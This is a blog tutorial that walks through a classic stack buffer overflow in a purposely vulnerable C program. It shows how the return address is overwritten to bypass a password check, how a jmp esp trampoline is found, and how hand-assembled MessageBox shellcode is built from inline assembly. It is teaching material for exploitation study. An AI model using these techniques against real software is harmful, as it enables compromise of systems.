← Back to all posts
Binary Security Research5 min read

Binary Vulnerabilities: From a Simple Stack Overflow to Writing Your Own Shellcode

This article documents the principles and implementation of buffer overflows, then explores low-level shellcode development using a vulnerable C program.

Read in Chinese→

0x00 Introduction

This article primarily documents the principles and implementation of buffer overflows, as well as shellcode development.

The goal is to understand the principles in detail and write shellcode from the ground up.

The C code used in this experiment:

#include <stdio.h>
#include <windows.h>
#define PASSWORD "1234567"
int verify_password (char *password)
{
	int authenticated;
	char buffer[44];
	authenticated=strcmp(password,PASSWORD);
	strcpy(buffer,password);//over flowed here!	
	return authenticated;
} 
main()
{
	int valid_flag=0;
	char password[1024];
	FILE * fp;
	LoadLibrary("user32.dll");//prepare for messagebox
	if(!(fp=fopen("password.txt","rw+")))
	{
		exit(0);
	}
	fscanf(fp,"%s",password);
	valid_flag = verify_password(password);
	if(valid_flag)
	{
		printf("incorrect password!\n");
	}
	else
	{
		printf("Congratulation! You have passed the verification!\n");
	}
	fclose(fp);
}

0x01 Principles

  1. First, you should understand function calls, which were introduced in the previous article on assembly language fundamentals.

  2. The vulnerability exists in the strcpy\(buffer,password\); function. It does not check the size of the string when copying, resulting in an out-of-bounds write that exceeds the expected range and causes memory on the stack to overflow and become corrupted.

  3. As shown below, we begin overflowing data from buffer, overwrite the previous stack frame’s EBP, and replace the return address with jmp esp. Execution then continues with the next instruction and begins running the malicious shellcode we want to execute.

image-20200630175547142

0x02 Locating the main Function First

There are roughly two methods:

Method 1: Search for strings in OllyDbg or rely on experience to identify the main function by its characteristics

For this challenge, the main function can be located by searching for strings.

Right-click and search for all referenced strings.

image-20200627230401048

Then locate a string used by the main function and click it to jump directly to the main function.

image-20200627230108867

Method 2: Use IDA for analysis

Use IDA to locate the function. After loading the program, IDA automatically identifies the main function.

Double-click main to enter it, press the spacebar, and locate the main function. You can then find the corresponding location in OllyDbg.

image-20200627230641354

0x03 Running the Program Normally

Run the program normally, locate the verfiy function, and begin debugging it.

The buffer is 44 bytes long.

First, enter 12341234123412341234123412341234123412341234, which consists of eleven repetitions of 1234.

Fill the buffer completely and inspect the stack layout.

First, determine the size and location of the area we need to overflow.

image-20200628212336143

0x04 Simple Crack

Based on the analysis above, we only need to overwrite the return address with the address we want.

Returning to the main function, we can see that the success address is 0x00401133.

We therefore construct input that overwrites the return address with this address. Note that the address bytes must be written in reverse order because of the byte order.

image-20200628223836346

Run it, and the check is successfully bypassed.

image-20200628223547169

0x04 Writing Shellcode

Using jmp esp as a Trampoline to Locate the Shellcode

Using jmp esp as a “trampoline” is the simplest and most commonly used method for locating shellcode.

During an actual exploit, you should carefully observe the values of all registers when the vulnerable function returns.

The ESP register often points near the top of the stack. Using jmp esp ensures that the next instruction is executed at the location pointed to by ESP, helping the shellcode execute reliably.

image-20200630175547142

Obtaining the Address of jmp esp

This shellcode uses the simple jmp esp method to redirect execution.

Use the following function:

// searchjmpesp.cpp : Defines the entry point for the console application.
//

#include"stdafx.h"
#include <windows.h> 
#include <stdio.h> 
#define DLL_NAME "user32.dll" 
main() 
{ 
	BYTE* ptr; 
	int position,address; 
	HINSTANCE handle; 
	BOOL done_flag = FALSE; 
	handle=LoadLibrary(DLL_NAME); 
	if(!handle) 
	{ 
		printf("load dll error");
	} 
	ptr = (BYTE*)handle; 
	for(position = 0; !done_flag; position++) 
	{ 
		try
		{ 
			if(ptr[position] == 0xFF && ptr[position+1] == 0xE4) 
			{ 
			//0xFFE4 is the opcode of jmp esp
				int address = (int)ptr + position;
				printf("OPCODE found at 0x%x\n",address);
			}
		} 
		catch(...)
		{ 
			int address = (int)ptr + position; 
			printf("END OF 0x%x\n", address); 
			done_flag = true; 
		} 
	}
	getchar();
	return 0;
}

Result:

image-20200629170646985

Obtaining the MessageBoxA Function

Use the following program to obtain the call address of MessageBoxA:

#include "stdafx.h"
#include <windows.h>
#include <stdio.h>

typedef void (*MYPROC)(LPTSTR);

int main()
{
	HINSTANCE LibHandle;
	MYPROC ProcAdd;
	LibHandle = LoadLibrary("user32");
	printf("user32=0x%x\n",LibHandle);

	ProcAdd=(MYPROC)GetProcAddress(LibHandle,"MessageBoxA");
	printf("messagesbox=0x%x\n",ProcAdd);
	getchar();
	return 0;
}

image-20200628232314406

Locate ExitProcess in the Same Way

image-20200628233532091

All Obtained API Function Addresses:

jmp esp = 0x77e35b79
user32=0x77d10000
messasbox=0x77d507ea
ExitProcess=0x7c81cb12

Writing the Assembly Code

C’s \_ASM\{\} syntax can be used to write assembly code directly.

The following is the assembly code for displaying a message box:

#include"stdafx.h"
#include <windows.h> 
int main() 
{ 
	_asm{ 
		sub sp,0x440
		xor ebx,ebx
		push ebx // cut string
		push 0x6F657A20  //zeo的ascll码
		push 0x6D612069
		mov eax,esp //load address of failwest
		push ebx
		push eax
		push eax
		push ebx
		mov eax,0x77D507EA // 系统获取的messageboxa的地址
		call eax //call MessageboxA
		push ebx
		mov eax,0x7C81CB12     //系统获取的exitprocess的地址
		call eax //call exit(0)
	}
	return 0;
}

Use VC6’s disassembly feature to obtain the machine code.

image-20200630175828608

The converted machine code and its explanation:

33 DB                xor         ebx,ebx                    
53                   push        ebx                        
68 20 7A 65 6F       push        6F657A20h                  
68 69 20 61 6D       push        6D612069h                  
8B C4                mov         eax,esp                    
53                   push        ebx              MessageBoxA函数额 4 个参数按照从右向左的顺序入            
50                   push        eax                        
50                   push        eax                        
53                   push        ebx                        
B8 EA 07 D5 77       mov         eax,77D507EAh    调用 MessageBoxA,不同的机器这里的函数入口地址可能不同,按实际值填入         
FF D0                call        eax                        
53                   push        ebx                        
B8 12 CB 81 7C       mov         eax,7C81CB12h    调用 exit(0)。           
FF D0                call        eax                        

Writing the Complete Payload to a File

image-20200630181901702

Run It—Success!

image-20200630183334713

0x05 Shellcode Pitfalls

  1. After overflowing the entire address area, ESP must also be overwritten. ESP can be filled with any value.

  2. This experiment uses jmp esp = 0x77e35b79. After locating it, remember that shellcode must account for little-endian byte order.

​ Therefore, it must be entered in reverse order.

​ Therefore, it must be entered in reverse order.

​ Therefore, it must be entered in reverse order.

The original address is 0x77e35b79, so it must be written as 79 5b e3 77, for example:

image-20200630182234282

  1. Although the address of the jmp esp instruction must account for little-endian byte order, the converted shellcode that follows does not need to be reversed. It has already been converted, so doing it again would be unnecessary.

image-20200630183207368